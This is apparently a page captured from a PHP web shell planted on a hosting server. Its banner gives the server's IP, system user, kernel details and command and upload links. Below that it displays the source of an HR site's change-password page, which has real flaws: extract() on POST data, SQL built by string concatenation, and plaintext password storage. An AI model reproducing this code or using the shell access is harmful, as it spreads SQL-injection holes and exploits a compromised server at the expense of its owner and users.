Server IP : 103.53.40.154 / Your IP : 18.227.0.255 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/kedarheliped.in/../digitala2z.com/down-hrms/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("hr-header.php");?> <?php if(isset($_POST['ChangePassword'])){ @extract($_POST); if($changepass!=$confirmpass) { ?> <script type="text/javascript"> $(document).ready(function(e) { $("#logSucc").hide("slow"); $("#logErr").hide("slow"); $("#logErr1").show("slow"); }); </script> <?php }else{ $pass=db_scalar("select admin_password from tbl_admin where 1 and admin_id='".$_SESSION['sess_admin_login_id']."'"); if($pass == $password) { $sql2=db_query("update tbl_admin set admin_password='$changepass' where 1 and admin_id='".$_SESSION['sess_admin_login_id']."'"); ?> <script type="text/javascript"> $(document).ready(function(e) { $("#logSucc").show("slow"); $("#logErr").hide("slow"); $("#logErr1").hide("slow"); }); </script> <?php } else{ ?> <script type="text/javascript"> $(document).ready(function(e) { $("#logSucc").hide("slow"); $("#logErr").show("slow"); $("#logErr1").hide("slow"); }); </script> <?php } } } ?> <div class="container-fluid" style="margin-top:30px;"> <div class="row"> <div class="col-sm-12"> <div class="col-sm-3" style="padding-left:0;"> <?php include("hr-left-menu.php");?> </div> <div class="col-sm-9" id="ctID"> <div class="row"><div class="col-sm-12"> <div id="logSucc" style="display:none;"> <div class="alert alert-success"> <a href="#" class="close" data-dismiss="alert">×</a> <strong>Success ! Password Changed successfully.</strong> </div> </div> </div> </div> <div class="row"><div class="col-sm-12"> <div id="logErr" style="display:none;"> <div class="alert alert-danger"> <a href="#" class="close" data-dismiss="alert">×</a> <strong>Error !</strong> Invalid Old Password. </div> </div> </div> </div> <div class="row"><div class="col-sm-12"> <div id="logErr1" style="display:none;"> <div class="alert alert-danger"> <a href="#" class="close" data-dismiss="alert">×</a> <strong>Error !</strong> Password and retype password do not match ! </div> </div> </div> </div> <h3 class="page-header text-primary" style="margin-top:0;" id="faq-result">Change Password</h3> <div class="row"> <div class="col-sm-12"> <form class="form-horizontal" action="" method="post" enctype="multipart/form-data" onSubmit="return passValidation()"> <div class="form-group"> <label for="inputOpass" class="control-label col-xs-4">Old Password</label> <div class="col-xs-8 col-sm-6"> <input type="password" name="password" class="form-control" id="inputOpass"> </div> </div> <div class="form-group"> <label for="inputNpass" class="control-label col-xs-4">New Password</label> <div class="col-xs-8 col-sm-6"> <input type="password" name="changepass" class="form-control" id="inputNpass"> </div> </div> <div class="form-group"> <label for="inputCnpass" class="control-label col-xs-4">Confirm New Password</label> <div class="col-xs-8 col-sm-6"> <input type="password" name="confirmpass" class="form-control" id="inputCnpass"> </div> </div> <div class="form-group"> <div class="col-xs-offset-4 col-xs-8"> <button type="submit" name="ChangePassword" class="btn btn-primary btn-md">Change Password</button> </div> </div> </form> </div> </div> </div> </div> </div> </div> <script type="text/javascript"> function passValidation(){ function trim(str){ return str.replace(/^\s*|\s*$/g,''); } if(trim(document.getElementById('inputOpass').value)==0){ alert("Please enter old password !"); document.getElementById('inputOpass').focus(); return false; } if(trim(document.getElementById('inputNpass').value)==0){ alert("Please enter new password !"); document.getElementById('inputNpass').focus(); return false; } if(trim(document.getElementById('inputCnpass').value)==0){ alert("Please confirm new password !"); document.getElementById('inputCnpass').focus(); return false; } } </script> <?php include("hr-footer.php");?>